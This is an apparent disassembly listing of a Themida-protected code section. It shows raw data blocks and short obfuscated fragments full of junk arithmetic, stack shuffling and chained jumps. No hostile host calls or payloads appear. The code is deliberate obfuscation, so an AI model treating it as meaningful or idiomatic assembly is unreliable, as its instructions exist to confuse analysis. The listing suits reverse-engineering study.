dd 0E3C1FFFFh, 0E5E38107h, 4B40F117h, 8C7CEB81h, 0DD298C47h
dd 5DEE895Bh, 685EF289h, 496653BFh, 8BD5295Dh, 89572414h
dd 4C781E7h, 81000000h, 4C7h, 243C3300h, 33243C31h, 248B243Ch
dd 7630524h, 0E80152F0h, 0F007632Dh, 242C8B52h, 5304C483h
dd 4BBh, 7A45E900h, 0F301FFFFh, 4EB835Eh, 11DAE953h, 5168FFFFh
dd 8900001Fh, 74FF241Ch, 8F5B0424h, 248B2404h, 0E930FF24h
dd 0FFFED1B0h
; ---------------------------------------------------------------------------
loc_55555C: ; CODE XREF: Themida_:005469D2j
pop ebp
neg edx
dec edx
xor edx, 8D9ACEF0h
jmp loc_545EE2
; ---------------------------------------------------------------------------
loc_55556B: ; CODE XREF: Themida_:00548505j
push edi
jmp loc_552A81
; ---------------------------------------------------------------------------
db 81h, 0C6h, 6Fh
dd 81477849h, 2A9AD3C6h, 5EF73175h, 0FFA9C4E9h, 3B6855FFh
dd 0E900004Ch, 0FFFF13A7h, 81241C8Bh, 4C4h, 5EE95000h
dd 2DFFFED6h, 0C43BC193h, 2958C589h, 0F3295DEEh, 0FF633AE9h
dd 1687B9FFh, 0C83107FCh, 58C32959h, 1647C381h, 0D3E97713h
dd 57FFFFC4h, 6D115DBFh, 0BF78134h, 11FA95Eh, 0FE295FFEh
dd 4F56EE81h, 0C6812BC4h, 59AF16DFh, 0FF78CDE9h, 8B665CFFh
dd 74682404h, 89000024h, 54552434h, 4C5815Dh, 57000000h
dd 4BFh, 5FFD2900h, 8B242C87h, 24892424h, 261B6824h, 4890000h
dd 4D1CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55561E: ; CODE XREF: Themida_:00556A5Aj
xchg ecx, [esp]
pop esp
mov [esp], eax
mov ah, 9Fh
push cx
jmp loc_543614
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 592434FFh, 0E904C483h, 0FFFEF258h, 0FFBB535Ah, 1FFFFFFh
dd 0C2815BDAh, 0C24CCA08h, 148BD689h, 4C48324h, 4244481h
dd 5B4D1E3Dh, 0FF805EE9h, 240C33FFh, 33240C31h, 248B240Ch
dd 66F1F624h, 53CCB60Fh, 0B951E389h, 528B0FC1h, 0C8E18149h
dd 31251403h, 31CA31D1h, 1EBBE9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555692: ; CODE XREF: Themida_:00549D80j
xor esi, 49E42AA0h
mov ecx, esi
pop esi
xor ebp, ecx
pop ecx
xor ebp, 1CEA0F8Bh
jmp loc_54C732
; ---------------------------------------------------------------------------
db 68h, 0A0h, 1Ah
dd 1C890000h, 4EC8124h, 89000000h, 0F0BD242Ch, 0E9350578h
dd 0FFFF23E5h, 0E9240489h, 0FFFF4241h, 8105E9C1h, 6E17DDC9h
dd 81D1F749h, 0B6617BC9h, 94E98158h, 29F03FDAh, 6BE959CDh
dd 81FFFF16h, 1D285EEFh, 20EAE972h, 0D3880000h, 5A2434FFh
dd 4C481h, 0E3C00000h, 8FB55107h, 20E2ED80h, 0EB8059EBh
dd 2E3C001h, 52B5EB80h, 0C38084B6h, 80F32829h, 148B29EBh
dd 0E2895224h, 93B951h, 0E981061Fh, 61F008Fh, 8359CA01h
dd 148704C2h, 0DFE95C24h
db 33h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555743: ; CODE XREF: Themida_:00556F96j
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
xor al, bh
pop bx
push ecx
sub esp, 4
mov [esp], eax
mov ah, 98h
mov ch, ah
pop eax
add al, 0A1h
push ecx
mov cl, 6Ah
add al, cl
pop ecx
sub al, 1Fh
sub al, 91h
sub al, 1Ch
sub al, 63h
add al, ch
add al, 63h
add al, 1Ch
add al, 91h
add al, 1Fh
push ebx
mov bh, 38h
push eax
jmp loc_553984
; ---------------------------------------------------------------------------
loc_555786: ; CODE XREF: Themida_:005568FCj
pop ebp
add ebx, ecx
pop ecx
xchg ebx, [esp]
mov esp, [esp]
imul cx
push eax
push esp
pop eax
sub esp, 4
mov [esp], edx
push 3C4Eh
mov [esp], eax
push ebx
mov ebx, 4
mov eax, ebx
mov ebx, [esp]
add esp, 4
push edi
mov edi, eax
mov edx, edi
pop edi
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 48664C3Ch
shr ebx, 8
shr ebx, 8
add ebx, 0E9EDEF5h
add eax, ebx
pop ebx
sub eax, 8C43B3h
jmp loc_54D4D4
; ---------------------------------------------------------------------------
loc_5557E3: ; CODE XREF: Themida_:005437BCj
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54AF00
; ---------------------------------------------------------------------------
loc_5557F6: ; CODE XREF: Themida_:005546ACj
add esp, 4
pop ebx
add ecx, edi
push 6599h
mov [esp], edx
jmp loc_5461A0
; ---------------------------------------------------------------------------
dd 0E956C731h, 0FFFFA285h, 5C5EA81h, 0ED81C7E0h, 185F7EA8h
dd 0FF6DA0E9h, 81E958FFh, 8BFFFECFh, 0C481243Ch, 4, 0F3BA5250h
dd 0E977902Eh, 0FFFFDD54h, 7B0968h, 24248900h, 4240481h
dd 58000000h, 4EC81h, 2C890000h, 55565224h, 6255468h, 0D6E95D13h
dd 0ADFFFF1Dh, 0AA368h, 24148900h, 52D56853h, 0E95B7B41h
dd 0FFFF0006h
; ---------------------------------------------------------------------------
loc_55587C: ; CODE XREF: Themida_:005503B9j
add eax, edi
jmp loc_5525AC
; ---------------------------------------------------------------------------
loc_555883: ; CODE XREF: Themida_:0055345Aj
add ecx, eax
pop eax
mov edx, ecx
jmp loc_545376
; ---------------------------------------------------------------------------
loc_55588D: ; CODE XREF: Themida_:00542DAFj
push ebp
mov ebp, 14173B28h
or ebp, 0CDE7C04h
neg ebp
add ebp, 4F498FD7h
add edi, ebp
pop ebp
jmp loc_555F6C
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 0E9E38953h, 0FFFF6C95h
; ---------------------------------------------------------------------------
loc_5558B4: ; CODE XREF: Themida_:0054E7ECj
mov [esp], ecx
mov ecx, 0B04D8C34h
sub edx, ecx
pop ecx
push edx
push ebp
mov ebp, 4FC91D87h
xor [esp+4], ebp
jmp loc_55238B
; ---------------------------------------------------------------------------
loc_5558CF: ; CODE XREF: Themida_:00548BF1j
add eax, esi
mov esi, [esp]
add esp, 4
add eax, 4
jmp loc_549B20
; ---------------------------------------------------------------------------
loc_5558DF: ; CODE XREF: Themida_:00554D15j
mov [esp], esi
jmp loc_5528BE
; ---------------------------------------------------------------------------
loc_5558E7: ; CODE XREF: Themida_:0054316Aj
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_54270C
; ---------------------------------------------------------------------------
loc_5558FF: ; CODE XREF: Themida_:00544A6Cj
sub esp, 4
mov [esp], edx
jmp loc_54F8F5
; ---------------------------------------------------------------------------
dw 8B66h
dd 0F9E92424h, 89FFFECDh, 4C181E1h, 83000000h, 0C8704E9h
dd 4895C24h, 8BB1E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55592A: ; CODE XREF: Themida_:00544C42j
sub esp, 4
mov [esp], esi
mov esi, 4
add ebx, esi
mov esi, [esp]
push ebx
jmp loc_54A293
; ---------------------------------------------------------------------------
dd 0F680CEFEh, 5AF520B5h, 8834F580h, 882E9EEh, 0EB810000h
dd 307804h, 241C335Dh, 33241C31h, 248B241Ch, 2434FF24h
dd 0FF992AE9h, 97BE56FFh, 916CC79h, 24348BF1h, 0F704C483h
dd 4E6B68D9h, 2C890000h, 4423BD24h, 0E5C10093h, 992E908h
dd 8F540000h, 0B9512404h, 4, 4244C01h, 175EE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5559A6: ; CODE XREF: Themida_:00545903j
push esi
push small 7617h
jmp loc_553A3E
; ---------------------------------------------------------------------------
dd 0FAF5815Bh, 8715CD5Ah, 0F58746F5h, 1836ED81h, 0DD687901h
dd 8900007Bh, 0E9552404h, 0FFFEE31Ah
; ---------------------------------------------------------------------------
loc_5559D0: ; CODE XREF: Themida_:00548249j
push eax
mov ah, 95h
mov ch, ah
jmp loc_54393C
; ---------------------------------------------------------------------------
dw 48Fh
dd 24248B24h, 24042966h, 0CD22E99Ch, 0EAC1FFFEh, 1C1AE907h
dd 2C31FFFFh, 0B5C7E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5559FA: ; CODE XREF: Themida_:0054619Bj
add ebp, esi
push esi
mov esi, 699636BEh
shr esi, 4
or esi, 11C42098h
jmp loc_542CE8
; ---------------------------------------------------------------------------
dd 240C8B66h, 4EC81h, 34890000h, 0E9E68924h, 0FFFEE160h
dd 6824048Bh, 24C8h, 0FED9F2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555A31: ; CODE XREF: Themida_:00553751j
xchg edi, [esp]
jmp loc_552F32
; ---------------------------------------------------------------------------
db 5Ah, 8Fh, 4
dd 24248B24h, 34FFD031h, 0F3E95A24h
db 54h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555A4B: ; CODE XREF: Themida_:00543821j
add ebp, 4
jmp loc_54F7DA
; ---------------------------------------------------------------------------
dw 1489h
dd 0D8E2E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555A5E: ; CODE XREF: Themida_:0054B1A9j
add esp, 4
sub al, cl
mov cx, [esp]
add esp, 2
jmp loc_54CD9E
; ---------------------------------------------------------------------------
dw 2C89h
dd 0E9E58924h, 0FFFFF23Ch, 2A93C181h, 0E9815C33h, 3D5F150Dh
dd 0FECCF6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555A8D: ; CODE XREF: Themida_:0055172Dj
mov ecx, 7DA31D31h
shl ecx, 1
xchg edi, ecx
neg edi
xchg edi, ecx
sub esp, 4
mov [esp], esi
jmp loc_553F42
; ---------------------------------------------------------------------------
dd 0E904C483h, 0FFFED518h, 5C24048Fh, 54243C89h, 0FF144EE9h
dd 5AEF81FFh, 5E705B2Fh, 0B361A05h, 0E9F82941h, 0FFFFD2DAh
dd 6F04F028h, 2434FF5Ah, 8124148Bh, 4C4h, 4C48100h, 51000000h
dd 0EB0078B5h, 68C30059h, 56F0h, 68240C89h, 3BF2h, 0E9241C89h
dd 0FFFF5CE6h, 31243433h, 34332434h, 24248B24h, 2404FF66h
dd 0CBF2E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_555B1A: ; CODE XREF: Themida_:0054D4A7j
add esp, 4
push edx
push esp
pop edx
push eax
mov eax, 4
add edx, eax
jmp loc_54FDF4
; ---------------------------------------------------------------------------
dd 58AEA81h, 835F6AE2h, 0FF5204EAh, 8B042474h, 0C4832414h
dd 24048F04h, 2434895Ch, 6FB868h, 242C8900h, 46DAB951h
dd 0AAE925F4h, 51FFFED3h, 0FF0EDBE9h, 0F3015AFFh, 4B45EB81h
dd 685E2983h, 2748h, 0E9241C89h, 0FFFFF4A3h, 0E9241489h
dd 0FFFF25EBh
; ---------------------------------------------------------------------------
loc_555B84: ; CODE XREF: Themida_:0054A949j
push edx
mov edx, 2316055Ah
add edx, 1
add edx, 2597740Fh
sub esi, edx
pop edx
pop ecx
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_54A078
; ---------------------------------------------------------------------------
dd offset dword_450050+2BA02h
db 92h
dd 78C5E950h, 0CB01FFFFh, 81C30159h, 75444BEBh, 0D8895810h
dd 5B2434FFh, 0E904C483h, 0FFFECB3Ch
; ---------------------------------------------------------------------------
loc_555BD0: ; CODE XREF: Themida_:00554BCBj
not ebp
jmp loc_54E99C
; ---------------------------------------------------------------------------
db 68h
dd 4, 81242C8Bh, 4C4h, 5DE80100h, 2474FF50h, 48F5804h
dd 0EC815C24h, 4, 0E9242C89h, 0FFFED17Dh, 5C24048Fh, 0E9240489h
dd 0FFFF3565h, 5E8EEF81h, 0B8507AE6h, 30795209h, 0C85EE705h
dd 94E2D1Eh, 0CAE97203h, 89FFFFA4h, 0DCB9240Ch, 5507B44Ah
dd 5C1256BDh, 51DDF767h, 2034BF57h, 0EC814FE0h, 4, 0E9243C89h
dd 0FFFFC7DFh, 245FED81h, 0F7550193h, 515D241Ch, 805883B9h
dd 0C1814930h, 15C542A4h, 0C105E1C1h, 0E9C103E9h, 6761E905h
dd 0C281FFFFh, 6EC806CEh, 0B850FA01h, 674C641Ah, 0D0F7D0F7h
dd 5D4D2D40h, 14E9F884h, 8100001Dh, 0E88008C1h, 59CB893Eh
dd 25B8C381h, 8CE929F1h, 88FFFFDEh, 5EF6E9DCh, 1C89FFFFh
dd 0F2B2E924h, 34FFFFFFh, 0C4835924h, 0D3C5E904h, 0C381FFFFh
dd 4, 4EC8150h, 89000000h, 0E9502434h, 0FFFFCDA1h
; ---------------------------------------------------------------------------
loc_555CD4: ; CODE XREF: Themida_:00542E40j
push 6DA8h
mov [esp], esi
xor dword ptr [esp], 3E411931h
pop eax
xor eax, 3E411931h
push dword ptr [esp]
jmp loc_54E391
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0BB000000h, 94D13B7Dh, 34FFD329h, 0C4815A24h, 4, 30E4CB81h
dd 0BF5735E2h, 0FFFFFFFFh, 565FFB29h, 0CC1C20BEh, 0C18DE978h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555D22: ; CODE XREF: Themida_:00542713j
sub al, 0D7h
push small 3EDAh
jmp loc_5521F7
; ---------------------------------------------------------------------------
db 0BAh, 5Bh, 45h
dd 0D789099Eh, 8324148Bh, 0EC8104C4h, 4, 0FF17B1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555D45: ; CODE XREF: Themida_:005507D1j
add ebx, 4B8B49F7h
jmp loc_55017C
; ---------------------------------------------------------------------------
loc_555D50: ; CODE XREF: Themida_:005525ADj
xchg eax, [esp]
pop esp
jmp loc_545469
; ---------------------------------------------------------------------------
loc_555D59: ; CODE XREF: Themida_:00543F1Cj
pop ebp
mov esi, eax
pop eax
sub ebx, esi
jmp loc_5434FD
; ---------------------------------------------------------------------------
dd 3505E8C1h, 2A505983h, 5D10BF57h, 0E7D12395h, 0FF5B39E9h
dd 4B850FFh, 81000000h, 8C71C8C6h, 53C6015Eh, 8C71C8BBh
dd 0B6FFE95Eh, 0E089FFFFh, 405h, 40500h, 4870000h, 24248B24h
dd 0FF6DF6E9h, 243487FFh, 24348746h, 8124348Bh, 4C4h, 2EEC100h
dd 5FFBBF57h, 0FE011E37h, 80F6815Fh, 312822FAh, 0EEE95EF0h
db 40h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555DD3: ; CODE XREF: Themida_:005562CDj
sub ebp, edi
jmp loc_546D5C
; ---------------------------------------------------------------------------
dw 2C89h
dd 8C16E924h, 815FFFFFh, 81799DE3h, 0FCEB817Bh, 1630070h
dd 0F241E9DFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_555DF6: ; CODE XREF: Themida_:00549468j
add esp, 4
not esi
and esi, 6AE172A2h
sub esi, 2083E408h
shr esi, 3
xor esi, 6C714876h
jmp loc_556A64
; ---------------------------------------------------------------------------
loc_555E15: ; CODE XREF: Themida_:005510D1j
push esp
pop edx
push eax
mov eax, 4
add edx, eax
jmp loc_5478B9
; ---------------------------------------------------------------------------
dd 0B2241489h, 4EC811Eh, 89000000h, 79B7241Ch, 3080B551h
dd 2434FFEFh, 0E7895759h, 4C781h, 0C7830000h, 243C8704h
dd 5BFA285Ch, 0DE4BE953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555E56: ; CODE XREF: Themida_:00548779j
or eax, eax
jmp loc_54F759
; ---------------------------------------------------------------------------
loc_555E5D: ; CODE XREF: Themida_:0054A1EDj
xor edi, [esp]
mov esp, [esp]
mov [esp], ebx
xor dword ptr [esp], 203F1107h
jmp loc_55276E
; ---------------------------------------------------------------------------
loc_555E72: ; CODE XREF: Themida_:0054E760j
pop edx
push eax
mov eax, 4
add edx, 206251DEh
add edx, eax
push ebx
mov ebx, 38422331h
sub ebx, 5208405Ah
inc ebx
jmp loc_54375F
; ---------------------------------------------------------------------------
db 29h
dd 10E268F7h, 14890000h, 2FC1BA24h, 0D7292BB8h, 0CCEF815Ah
dd 0E9444D54h, 0FFFF15EEh, 0BD3184BBh, 0E9D9215Bh, 0FFFFA508h
; ---------------------------------------------------------------------------
loc_555EBC: ; CODE XREF: Themida_:0054ACADj
push dx
jmp loc_554DA7
; ---------------------------------------------------------------------------
db 83h
dd 535104C4h, 0E94EB551h, 0FFFF7F24h, 0FF2434FFh, 51582434h
dd 0C181E189h, 4, 0FF08C5E9h, 0CDC781FFh, 8B3FAC6Bh, 0C481240Ch
dd 4, 92BD5553h, 0E957E520h, 0C02h, 665ACE2Ch, 66077568h
dd 68241489h, 52E2h, 0B7241C89h, 0F6D786E8h, 0F013E9D2h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_555F1E: ; CODE XREF: Themida_:0055737Dj
push dword ptr [esp]
pop edx
jmp loc_548776
; ---------------------------------------------------------------------------
loc_555F27: ; CODE XREF: Themida_:0054F6BCj
xchg edx, [esp]
mov esp, [esp]
or edx, eax
jmp loc_549634
; ---------------------------------------------------------------------------
dd 9DE68h, 24048900h, 0EC83E089h, 24148904h, 8F736CBAh
dd 0F902E95Dh, 0E468FFFEh, 8900001Ah, 0E789243Ch, 266C68h
dd 24048900h, 468h, 0E9525800h, 0FFFF0E92h
; ---------------------------------------------------------------------------
loc_555F6C: ; CODE XREF: Themida_:005558A4j
or edi, 3667249Ch
shr edi, 3
and edi, 21E64910h
xor edi, 2BB83DC3h
sub ecx, edi
mov edi, [esp]
jmp loc_543779
; ---------------------------------------------------------------------------
loc_555F8B: ; CODE XREF: Themida_:00542836j
mov [esp], esi
jmp loc_557A05
; ---------------------------------------------------------------------------
db 4
dd 0E9F028CEh, 0FFFFFF64h, 0E9242C87h, 0FFFF6594h, 0C281E289h
dd 4, 3304C283h, 20E92414h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555FB7: ; CODE XREF: Themida_:0054E568j
pop ebp
push esi
jmp loc_54ECF6
; ---------------------------------------------------------------------------
dw 0C181h
dd 2BBD1306h, 0FFEF6AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555FC9: ; CODE XREF: Themida_:0054D129j
pop ebp
sub [esp+4], edi
pop edi
pop ebx
push ebp
mov ebp, 7FAB5E0Ah
and ebp, 2743431Ah
xor ebp, 6275385Fh
or ebp, 96845F4h
push eax
mov eax, 0ECC880h
jmp loc_545AA1
; ---------------------------------------------------------------------------
loc_555FF3: ; CODE XREF: Themida_:00545CBEj
mov [esp], eax
push 15C826B4h
pop eax
xor ebp, eax
pop eax
add ebp, 0CA3B885Dh
mov edx, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
push esp
pop dword ptr [esp]
push 74C6h
mov [esp], esi
jmp loc_54D92F
; ---------------------------------------------------------------------------
loc_55603D: ; CODE XREF: Themida_:005563F3j
mov eax, [esp]
add esp, 4
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
jmp loc_5432B8
; ---------------------------------------------------------------------------
db 29h
dd 52C581DDh, 5B393650h, 81241C8Bh, 4C4h, 0E7F3E900h, 0C148FFFEh
dd 43508E0h, 1E757FFh, 8BBDE9C1h, 0E089FFFFh, 405h, 42D00h
dd 4870000h, 0CB34E924h, 0E940FFFEh, 0FFFF5FA1h
; ---------------------------------------------------------------------------
loc_556098: ; CODE XREF: Themida_:00553423j
mov ebx, 4
add ebp, ebx
pop ebx
jmp loc_5468A9
; ---------------------------------------------------------------------------
db 0E9h, 62h, 0C6h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5560AA: ; CODE XREF: Themida_:0054B540j
xor [esp], edx
jmp loc_553A46
; ---------------------------------------------------------------------------
loc_5560B2: ; CODE XREF: Themida_:00547BB1j
sub ebx, 2D55B63h
mov eax, [esp]
add esp, 4
pop ebp
jmp loc_54270C
; ---------------------------------------------------------------------------
dd 48EE95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5560CA: ; CODE XREF: Themida_:00545FD2j
pop ax
neg di
add di, 296Bh
add cx, di
pop edi
add cx, bp
jmp loc_545547
; ---------------------------------------------------------------------------
dd 0C831C131h, 3191D1F7h, 31C831C1h, 555756C1h, 0B34B7ABDh
dd 9CE94D75h, 0BDFFFF4Eh, 1F9F7EA0h, 0FEFDCAE9h, 33270DFFh
dd 5A3560A4h, 2900D220h, 0D2F758C2h, 6B19E281h, 0EA811C7Dh
dd 0FA11B4DEh, 0FFD6C2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556125: ; CODE XREF: Themida_:0054FD6Bj
add edx, ecx
sub edx, 43EE71D2h
jmp loc_54C2D4
; ---------------------------------------------------------------------------
loc_556132: ; CODE XREF: Themida_:0054D370j
push dword ptr [esp+4]
pop ecx
jmp loc_553F3A
; ---------------------------------------------------------------------------
dd 24048B66h, 0FF34BEE9h, 2434FFFFh, 4EC8358h, 89242C89h
dd 0F1BB53E5h, 0E961EB73h, 0FFFFD6C6h
; ---------------------------------------------------------------------------
loc_55615C: ; CODE XREF: Themida_:00550520j
add esp, 4
sub edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], eax
push 5995317Bh
jmp loc_54AEBA
; ---------------------------------------------------------------------------
dd 0BB241C89h, 7C7F77CEh, 0FF0B9DE9h, 4BAFFh, 97E90000h
dd 66FFFF37h, 665DEA29h, 1CE9E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5561A6: ; CODE XREF: Themida_:0054E16Ej
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_5509F3
; ---------------------------------------------------------------------------
dd 0FEC54BE9h, 0EE015AFFh, 5D2434FFh, 0FF0D8CE9h, 0E95253FFh
dd 0FFFEFACDh, 80DEF659h, 0F78840F6h, 8124148Bh, 4C4h
dd 2FF78000h, 0E9E6CF80h, 0C48h, 815EF729h, 9C5FEEFh, 5FF9010Eh
dd 8702C183h, 248B240Ch, 0AB0F6624h, 0E99C2404h, 0FFFEC4FCh
dd 0B951D2F7h, 23F7A933h, 0E9CA01h, 51FFFFE1h, 592414F7h
dd 0FFF0E981h, 49E9FFDBh, 89FFFEF0h, 0BB53242Ch, 173B71ADh
dd 0FF0F3EE9h, 24248BFFh, 0BB241C89h, 61725CA1h, 68h, 24048100h
dd 43694582h, 81241C29h, 4582242Ch, 815B4369h, 8DA35BEBh
dd 8BDF019Eh, 0C483241Ch, 4EC8304h, 83240489h, 61E904ECh
dd 8FFFFF68h, 3C8B2404h, 7372E924h, 34FFFFFFh, 36E95824h
dd 56FFFF6Eh, 8B09E3BEh, 8CEB813Eh, 1575C24h, 0D92EE9F3h
dd 0F281FFFFh, 7DA95562h, 0FFD4B0E9h, 23CE68FFh, 4890000h
dd 48B5B24h, 0E296E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5562BE: ; CODE XREF: Themida_:00550259j
push edx
mov edx, 4
add ebp, edx
pop edx
push edi
mov edi, 4
jmp loc_555DD3
; ---------------------------------------------------------------------------
dd offset dword_49005C+3A70Ch
dw 8900h
dd 0FCE92414h, 1FFFEE3h, 0EB835EF3h, 241C8704h, 240C895Ch
dd 296FE954h, 48BFFFFh, 0F45AE924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5562FA: ; CODE XREF: Themida_:005532E5j
push ebx
mov ebx, 1
mov esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add edx, esi
pop esi
dec edx
or edx, 176263E7h
sub edx, 24604D4Fh
push edi
mov edi, 5D4D50E7h
jmp loc_5474DF
; ---------------------------------------------------------------------------
dd 0E5C1DDF7h, 94E94502h
db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55632F: ; CODE XREF: Themida_:0055157Fj
add esp, 4
push ebx
mov ebx, 683B4EEBh
or ebx, 0E3C3E45h
dec ebx
and ebx, 723651DBh
sub ebx, 78460939h
add ebx, 3F3F7847h
sub ebx, 0F405639h
jmp loc_544BEB
; ---------------------------------------------------------------------------
loc_55635C: ; CODE XREF: Themida_:0054D21Aj
add edi, 4
xchg edi, [esp]
pop esp
and eax, ebx
push dword ptr [esp]
jmp loc_54CC81
; ---------------------------------------------------------------------------
dd 0E9240489h, 0FFFFE280h, 29E9D001h
db 3Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55637F: ; CODE XREF: Themida_:00548A8Bj
pop ebp
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 24h
jmp loc_546A5B
; ---------------------------------------------------------------------------
db 0B8h
dd 190A49BCh, 48BC729h, 4C48124h, 0E9000000h, 0FFFEDA30h
; ---------------------------------------------------------------------------
loc_5563A8: ; CODE XREF: Themida_:005434CAj
add bx, ax
jmp loc_5528EC
; ---------------------------------------------------------------------------
loc_5563B0: ; CODE XREF: Themida_:005438FAj
add edi, esi
pop esi
push esi
mov esi, 35223AD6h
sub esi, 4C296354h
not esi
inc esi
and esi, 729D5E32h
xor esi, 5A637767h
xor esi, 48667F51h
add edi, esi
pop esi
push 2D17h
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
loc_5563EA: ; CODE XREF: Themida_:00552568j
push 21Fh
mov [esp], eax
push esp
jmp loc_55603D
; ---------------------------------------------------------------------------
dd 0D988C388h, 0FF1ED1E9h, 5355B8FFh, 0BFE900A6h, 0ACFFFFB7h
dd 5B4A68h, 24148900h, 0D2F67CB2h, 5066C2FEh, 0B5510DB4h
dd 0A7C8E98Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556426: ; CODE XREF: Themida_:0054B688j
push eax
push 538934FFh
jmp loc_557961
; ---------------------------------------------------------------------------
db 5Fh, 0E9h, 4Bh
dd 89FFFF74h, 4BD242Ch, 1000000h, 0DB57E9E8h, 0BA52FFFFh
dd 2, 148BD089h, 4C48124h, 1000000h, 2434FFC1h, 4C48358h
dd 0E9240C33h, 0FFFF9E1Ch
; ---------------------------------------------------------------------------
loc_556468: ; CODE XREF: Themida_:0054E682j
mov [esp], ecx
mov ecx, 4
push ebx
mov ebx, 0A7B2011h
or ebx, 69DB0CC5h
jmp loc_543349
; ---------------------------------------------------------------------------
db 5Ch, 81h, 0C5h
dd 4, 2C581h, 2C330000h, 242C3124h, 8B242C33h, 0F662424h
dd 9C2404A3h, 0FEC267E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5564A5: ; CODE XREF: Themida_:0055651Dj
sub ebp, edi
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xor ebp, 1A342D56h
add esi, 558A6B69h
add esi, ebp
jmp loc_54532E
; ---------------------------------------------------------------------------
loc_5564D0: ; CODE XREF: Themida_:0054300Dj
sub esi, 3DC109CAh
add esi, 5A527D45h
pop edi
jmp loc_5571BD
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 0FFFF7C93h, 240C8758h, 2404895Ch, 2B8h, 0B86AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5564FA: ; CODE XREF: Themida_:0054EAB7j
shl eax, 3
xor eax, 9D95FA4Bh
xor ebp, eax
pop eax
xor esi, ebp
pop ebp
add eax, esi
mov esi, [esp]
add esp, 4
push ecx
push ebp
jmp loc_544681
; ---------------------------------------------------------------------------
loc_556517: ; CODE XREF: Themida_:005451ECj
add esp, 4
jmp loc_5564A5
; ---------------------------------------------------------------------------
dw 0F800h
dd 0FA2CA804h, 2823045Bh, 0EDB7E9D8h, 0C681FFFEh, 4, 4EC81h
dd 0C890000h, 2B924h, 0CE010000h, 24348759h, 0FF23A9E9h
dd 48F5BFFh, 0F8BAE924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55655A: ; CODE XREF: Themida_:005431BFj
mov edx, [esp]
add esp, 4
mov eax, [ebx]
mov ebx, [esp]
sub esp, 4
jmp loc_547584
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 59106824h, 0EFE90000h, 0BEFFFFE4h, 52453ADAh, 4A1AF681h
dd 0EEC119DAh, 6AE908h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55658E: ; CODE XREF: Themida_:00549626j
sub edi, eax
sub edi, 41551092h
pop eax
push esi
jmp loc_5486A5
; ---------------------------------------------------------------------------
loc_55659D: ; CODE XREF: Themida_:00545393j
mov [esp], ebx
mov ebx, 4
jmp loc_551EC4
; ---------------------------------------------------------------------------
dw 0E905h
dd 0E960CE59h, 0FFFF4B63h
; ---------------------------------------------------------------------------
loc_5565B4: ; CODE XREF: Themida_:0054DD3Fj
push 4DBAh
mov [esp], ebp
mov ebp, 6F3E1205h
jmp loc_543810
; ---------------------------------------------------------------------------
dw 8B66h
dd 0C4E92404h
db 0Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5565CF: ; CODE XREF: Themida_:0054337Ej
add esi, 4
jmp loc_54F9BA
; ---------------------------------------------------------------------------
dw 0D389h
dd 0FECACDE9h, 24048BFFh, 5604C483h, 8951DE89h, 8BCF89F1h
dd 0C481240Ch, 4, 241C8B5Eh, 34EE9h, 59CA2100h, 0FF4DB0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556609: ; CODE XREF: Themida_:00551AF0j
xor edi, [esp]
pop esp
